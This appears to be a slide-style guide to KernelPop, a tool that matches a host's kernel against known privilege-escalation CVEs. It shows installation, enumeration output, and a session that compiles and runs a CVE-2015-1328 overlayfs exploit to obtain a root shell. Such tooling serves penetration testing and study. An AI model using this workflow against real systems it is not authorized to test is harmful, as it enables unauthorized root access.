KernelPop

Information Security Inc.

iSEC
information security inc.

Contents

- About KernelPop
- Testing Environment
- Supported CVE's
- Requirements
- Installing KernelPop
- Using KernelPop
- References

About KernelPop

- KernelPop is a framework for performing automated kernel exploit enumeration on Linux, Mac, and Windows hosts

Testing Environment

- Kali Linux 2017

```
root@kali2017:~/kernelpop# cat /etc/*rel*
DISTRIB_ID=Kali
DISTRIB_RELEASE=kali-rolling
DISTRIB_CODENAME=kali-rolling
DISTRIB_DESCRIPTION="Kali GNU/Linux Rolling"
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2017.3"
VERSION_ID="2017.3"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="http://www.kali.org/"
SUPPORT_URL="http://forums.kali.org/"
BUG_REPORT_URL="http://bugs.kali.org/"
```

Testing Environment

- Ubuntu 12.04.5 LTS

```
root@indishell:~/kernelpop# cat /etc/*rel*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.5 LTS"
NAME="Ubuntu"
VERSION="12.04.5 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.5 LTS)"
VERSION_ID="12.04"
```

Supported CVE's

- CVE-2017-5123
- CVE-2016-5195
- CVE-2016-2384
- CVE-2016-0728
- CVE-2015-1328
- CVE-2014-4699
- CVE-2014-4014
- CVE-2014-3153
- CVE-2014-0196
- CVE-2009-1185
- CVE-2017-1000379
- CVE-2017-1000373
- CVE-2017-1000372
- CVE-2017-1000371
- CVE-2017-1000370
- CVE-2017-1000367
- CVE-2017-1000112
- CVE-2017-7308
- CVE-2017-6074

Requirements

- python3

```
root@indishell:~/kernelpop# python3
The program 'python3' is currently not installed.  You can install it by typing:
apt-get install python3-minimal
root@indishell:~/kernelpop# apt-get install python3-minimal
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  python3.2 python3.2-minimal
Suggested packages:
  python3.2-doc binfmt-support
The following NEW packages will be installed:
  python3-minimal python3.2 python3.2-minimal
0 upgraded, 3 newly installed, 0 to remove and 4 not upgraded.
```

Installing KernelPop

- Clone the GitHub repository

```
root@kali2017:~# git clone https://github.com/spencerdodd/kernelpop.git
Cloning into 'kernelpop'...
remote: Counting objects: 859, done.
remote: Compressing objects: 100% (107/107), done.
remote: Total 859 (delta 92), reused 93 (delta 41), pack-reused 711
Receiving objects: 100% (859/859), 5.73 MiB | 2.74 MiB/s, done.
Resolving deltas: 100% (588/588), done.
```

Using KernelPop

- Running kernelpop

```
root@kali2017:~/kernelpop# python3 kernelpop.py

#########################
#  welcome to kernelpop  #
#                        #
# let's pop some kernels #
#########################

[+] underlying os identified as a linux variant
[+] kernel Linux-4.13.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling identified as:
        type:                   linux
        distro:                 unknown
        version:                4.13-1
        architecture:           x86_64
[*] matching kernel to known exploits
[*] matched kernel to the following confirmed exploits
[-] no confirmed exploits were discovered for this kernel
[*] matched kernel to the following potential exploits:
[-] no potential exploits were discovered for this kernel
```

Using KernelPop

- Running kernelpop

```
[+] underlying os identified as a linux variant
[+] kernel Linux-3.13.0-32-generic-i686-with-Ubuntu-12.04-precise identified as:
        type:                   linux
        distro:                 linuxubuntu12lts
        version:                3.13-32
        architecture:           i686
[*] matching kernel to known exploits
        [+] found `confirmed` kernel exploit: CVE20144014
        [+] found `confirmed` kernel exploit: CVE20143153
        [+] found `confirmed` kernel exploit: CVE20177308
        [+] found `confirmed` kernel exploit: CVE20162384
        [+] found `confirmed` kernel exploit: CVE20176074
        [+] found `confirmed` kernel exploit: CVE20165195_32_poke
        [+] found `confirmed` kernel exploit: CVE20165195_32
        [+] found `potential` kernel exploit: CVE20171000367
        [+] found `confirmed` kernel exploit: CVE20144699
        [+] found `confirmed` kernel exploit: CVE20151328
        [+] found `confirmed` kernel exploit: CVE20140196
[*] matched kernel to the following confirmed exploits
        [[ high reliability ]]
                CVE20144014     `chmod` restriction bypass allows users to get root before 3.14.8
                CVE20143153     `futex_requeue` vulnerability before 3.14.6 allows for priv esc
                CVE20177308     `packet_set_ring` in net/packet/af_packet.c can gain privileges via craft
ed system calls.
                CVE20165195_32_poke     Dirty COW race condition root priv esc for 32 bit (poke variant)
                CVE20165195_32  Dirty COW race condition root priv esc for 32 bit
                CVE20151328     overlayfs implementation in linux kernel does not properly check file-cre
ate permissions
        [[ medium reliability ]]
                CVE20144699     Exploitable race condition in linux before 3.15.4
        [[ low reliability ]]
                CVE20162384     Double free vulnerability in the `snd_usbmidi_create` (requires physical
proximity)
                CVE20176074     `dccp_rcv_state_process` in net/dccp/input.c mishandles structs and can l
ead to local root
                CVE20140196     `n_tty_write` vuln before 3.14.4 allows priv esc to root
[*] matched kernel to the following potential exploits:
        [[ high reliability ]]
                CVE20171000367  sudo get_process ttyname() root priv esc
```

Using KernelPop

- Exploiting CVE20151328 (https://nvd.nist.gov/vuln/detail/CVE-2015-1328)

```
ica@indishell:~/kernelpop$ python3 kernelpop.py -e  CVE20151328

#########################
#  welcome to kernelpop  #
#                        #
# let's pop some kernels #
#########################

[*] attempting to perform exploitation with exploit CVE20151328
Would you like to run exploit CVE20151328 on this system? (y/n): y
        [*] compiling exploit CVE20151328 to /home/ica/kernelpop/playground/CVE20151328
        [*] gcc -o /home/ica/kernelpop/playground/CVE20151328 /home/ica/kernelpop/exploits/linux/source/CVE20151328.c
        [+] compilation successful!
        [*] performing exploitation of CVE20151328
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare),1000(ica)
```

References

- Kitploit
http://www.kitploit.com/2017/11/kernelpop-kernel-privilege-escalation.html

- Kali Linux
https://www.kali.org/downloads/